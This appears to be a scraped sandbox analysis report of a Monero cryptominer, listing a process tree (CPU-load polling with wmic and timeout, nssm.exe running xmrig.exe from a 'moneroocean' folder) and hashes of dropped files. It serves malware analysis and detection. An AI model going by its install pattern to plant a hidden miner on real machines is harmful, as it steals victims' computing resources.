C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4604
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3024
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1500
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4476
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4160
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4260
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4180
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:524
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:500
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4828
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4680
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3928
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2140
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1848
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4896
-
-
-
C:\Users\Admin\moneroocean\nssm.exeC:\Users\Admin\moneroocean\nssm.exe1⤵
- Executes dropped EXE
PID:4256 -
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3140
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
-
Filesize
1KB
MD5025edd3318510fdec68fd9f4dfc39693
SHA1f40dcbe7c6ce3f65c097070874997888b0589625
SHA25624dec88a26833bba47c477d89979b4f5e9f268ec1d0e890b76efecf380666de8
SHA5125fe06b1292542cfbc2ec0e7d9f9309bb13303e21be5eb701195960c2b10da3aa50ee3a25e9234818625ab130266a4d63ece63657600845d6c447aaace3d54d15
-
Filesize
1KB
MD52f2284653e2f0277026e141546e18f16
SHA14cb11e10e211e9ee18675279cf2830bdb43c8f42
SHA2565361b26361d8d37c4f52c9deef795f32d37d0b482b2eb583c10ab645f44ba18f
SHA512a15a874db2ee153f1e5d7fcc2f5f00568f9aabcb1bcc8b5af6ce3514a293996ad051f28064466516d7451acf33181970f830767f983f54482c0c2d6d8661cbdc
-
Filesize
1KB
MD59ee434edafc2e8dc2cf3319729d667be
SHA1d40f2fe37cfbf2fb66927ecf61b50f3232ab1b7d
SHA256589846a965ee3c3241281e2b36b38d52d50f3d1ecf3257dc95a90140f5948bb5
SHA512b54c7793be49d8c12d0f36cc2f45e0f575f1abf14249268754c7b40fc6c8d4c3982a16fbc64136942692187aaf54ae83b7a443dac6ce316c5d753154b4b8a84c
-
Filesize
1KB
MD5fc1f97d2a9ae0ada24c7727a5c926d6c
SHA1ea782897331e65f67e51cd47fb21959527fa9417
SHA2562c879c89205c620d100dc070057323be33a5cebb4bd8aa15024bbc328d6f70ff
SHA512a1a19181b7f53952ab03b25678bbf6a0fb0bdcd34bb46b8049c10084dbcb529313c04bdffab0d49782a366b96d2b1819e618fe8e6a6ab7ab813fd963e6742400
-
Filesize
1KB
MD5fab9c6cc8fbc2f8e2d11b898ae2c89d0
SHA1eaa1a2da5e6ca6c2692bd751a33689b3c2a0714e
SHA256ac75c869a6bc37aaa7f273b5ed0b69a7fa9b6815f31d8cd0b66f991e7d2f61d4
SHA512154cd47a8c1032d247e9ae85d5335897b933be094b9f95cf1540169d30218e3761a7a18d6a5c5a149fede422d81b54de0947c49c3358e1a1f504854c108fa5ba
-
Filesize
1KB
MD529fde1a9b43b83eb4c429de1d7809a19
SHA18264299d5d407610599d1583cba98fde0a37442a
SHA256edbd8ddb95ee2216ad18adf0ac86f405c7b6e07eff203ae5c04fa628b72551f4
SHA51225277a7a66a40b38a719bfc128bb49be590a5d74e65803fd2159c2c035a2796b48def07d3a97c00e5a51fb5f91ee03bc00a6a21ca36a91bb72a2623157b79214
-
Filesize
1KB
MD597b1475c3a2d7650dc6586fab684c870
SHA10ef0e2d0d40ea827d1b96f502fa4555da2079aca
SHA25605604a766b3239ec9066b600585bfae0f69178802af4ffb088f850060b99340b
SHA5122c9e04fc59c316978503b2803d1d00e216575db200636fa6d1dc815bd7745b8818b8ffcb82ff4de12263815fb93e5e5c6e45143ba7bc2ff07d80ad85469a9dd6
-
Filesize
1KB
MD592bd3c1ee8a85bd2a32d11f89ce8b6ef
SHA19111d8d0fa6ae3885cd74b1321d84995d5dd1af6
SHA256729a8be665b5e2904f8eb3e9cd60507bc526ff5291a377c4f1936bb187bc53bc
SHA512dbb9f22de81d0d38d7e464d036ba272e682728bd59a39997bcfbaaa486cabdb9313db06904d956726cb6580314559e54ec1d5195fa534ea5c98ffca77a03a6b2
-
Filesize
1KB
MD52878daa2cde4ca34abb949ba9b26da15
SHA1785aab708ccee2f3d1d1badb76aacaa87552f5ba
SHA2564fca9be3a282463cd0c0da9f9bd04784dd9bf5fc7cdc49fe03cfc2d02f4d7210
SHA5121c241ba3e5c14a8753134622af9bbc17944f6339c57f05eed7f2ee12aa16b95ba9ddb4a510f74c6485663dbd31e77664738ccaeb7ef3155d419539e8cf6b2120
-
Filesize
1KB
MD58adfeed398464adbeb03cbfbc5222c27
SHA1c9bafeb4451960f6a12dc109984fd41656efabc2
SHA256b085be72ad35228390f83dbc776e77153ea0d902b2e6976ebd0a2be85414668b
SHA51241ec613557be2a888bfa08ce15899f6b9c354009efd55904e740e92d505a9983eb075647dfcce984c07e4d121551f54a059d5f691fdf584335d71166a00075b5
-
Filesize
1KB
MD54215aa7bb0f05aa4c48adcd6bad96962
SHA18b0bec2f205f0c46124f1e33cb6f33f0ad7c735a
SHA256f7bdada15241e13ad8cb2f534b04b6bb9c71d135cfe9a55fa07d6b203b661d38
SHA5123292b69fcbb5e6ccee22d5ef9d8d7cca9cba1a0dbf17ae558b19b3cd263c3cf0558b80e67a088bd844b38c00c0b553c6a26b79455f8d290a0d483e1fad59ac3e
-
Filesize
1KB
MD5aecc00ae5f8fc352fbe9cc4ab0e857f6
SHA155217199446ebb4405711267bc8bb1a73d7b5545
SHA256629befe70969762b8777fed9f4b62d996bcc5e26554b2cdcf520c64e1638db00
SHA51217997af1241b432e9a9b1632da1763e30ed7dd37efb137f8f1672111a32aa258cd1f58d0f01face16f17116f368e32f7ca30c80a0c7f3aedfeadf2c7fab8f00d
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
14KB
MD5623f6006f683afdb4b7406e3a4ec35bf
SHA1f63f03d7338317224726eba368f1a045fa2142d7
SHA25621d6e0b0e8135a929a77f48e00d286bfa4fc2d749a61529e559b8a5ceb63e47b
SHA512df7ae1e436be99bbf9ec7fe1fb745c9e2dba6b99e24019b5b1f78786198f1aed465575a829e9b8141bc92f0a4c4269e140228b4335f9fa724a60f1330ad6d3ab
-
Filesize
2KB
MD5d4f8a13f8c90e2b3b2e7d30a553df39c
SHA15c5303ef682ffcd31e57d1abd900ba5b637d51e4
SHA256f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a
SHA51268b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd
-
Filesize
2KB
MD5c9ef9c214996db3d88f571226910c5d5
SHA1420ba30247b1e09f706557a7704a1ebee5d3165c
SHA256fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1
SHA512de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d
-
Filesize
2KB
MD567099c11aee7715195c370daf8713cf6
SHA14ffe1365749d5828225c3c91efbf37524f6b4574
SHA25691a469ac7711ea2098eeed42b648548c51a109b83fd54fac53b643a4d9f127c8
SHA5124a4351749e0a6dfb211196af3eb892486c3df501ec6923cad96c16605e40cca3febaf908ece586e36a55b2945141140c18c0359badd0d609999aed747221145b
-
Filesize
2KB
MD5e3b9b22db047eeacf220bc3b9c7f4eb2
SHA13b32a79bfde5b7860537e969a65c9ce854794efb
SHA2565ef97aec367578d4ef6954f09f3ad4db6bb92d74dd08db7452c9e7bda32327d4
SHA5120f9f534bcf09077b826fee22bfcdb24cdef734ab10f903687107b28b28c2e45cfa72655ae5716561a4b2aade574595a373f27df380792aa7bec3281056ab7d27
-
Filesize
2KB
MD5fc2ad9ad97fa1c095daaff963e7e0629
SHA11558017e4ac852742c9a58b40b15db8e55580d28
SHA2564edadba0cb7822066fbc0205e42db16bcc99dcf1b29f63ad09b4cfb8317e11e1
SHA512503d1dd435b17cf8b655160d4ff7b3a1d19578436bc971640305a432d42dc9e4c7c1040a921e8a2bdd639698d5883fe3bdc99d05df331c04d8b0b613e1c3c837
-
Filesize
2KB
MD5cd4622b57763eed6fd33f018b8c93d29
SHA147f1608be1968cee1f066f1eb0982697a133e435
SHA25606ac9f155173b2b3ccc214fd7b4f5b483cbad4152294f7b0550b5983a384e3f0
SHA5124ac793496092ef8909a12aed0dbd79bc0d4ff48ca3c1b7a2d52dc7d5052993d0c1e0fa1855657a4caa85be84861561ead7c5f3e50090f4628a7d3797db8ec809
-
Filesize
2KB
MD5ff0d474ccd6bb1a7244d095962796ce7
SHA1408f62af9f1597daade7b3bbcb95811dbb357ba4
SHA256476eace3ff003e26ac64ce42ed90c8acefa5a07afb19686fd38f27d90cd4916b
SHA5123a5cf9f774ccf381ae272b75fe7a8015f000288722691cd5a09db6163d5302456485e39d89e4adb1ef6b98c7e678215d4927a7ff8f510947fb453a2646311447
-
Filesize
360KB
MD51136efb1a46d1f2d508162387f30dc4d
SHA1f280858dcfefabc1a9a006a57f6b266a5d1fde8e
SHA256eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848
SHA51243b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5
-
Filesize
9.0MB
MD59ee2c39700819e5daab85785cac24ae1
SHA19b5156697983b2bdbc4fff0607fadbfda30c9b3b
SHA256e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3
SHA51247d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649
-
Filesize
135KB
MD57ad31e7d91cc3e805dbc8f0615f713c1
SHA19f3801749a0a68ca733f5250a994dea23271d5c3
SHA2565b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201
SHA512d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260
-
Filesize
3.5MB
MD5640be21102a295874403dc35b85d09eb
SHA1e8f02b3b8c0afcdd435a7595ad21889e8a1ab0e4
SHA256ed33e294d53a50a1778ddb7dca83032e9462127fce6344de2e5d6be1cd01e64b
SHA512ece0dfe12624d5892b94d0da437848d71b16f7c57c427f0b6c6baf757b9744f9e3959f1f80889ffefcb67a755d8bd7a7a63328a29ac9c657ba04bbdca3fea83e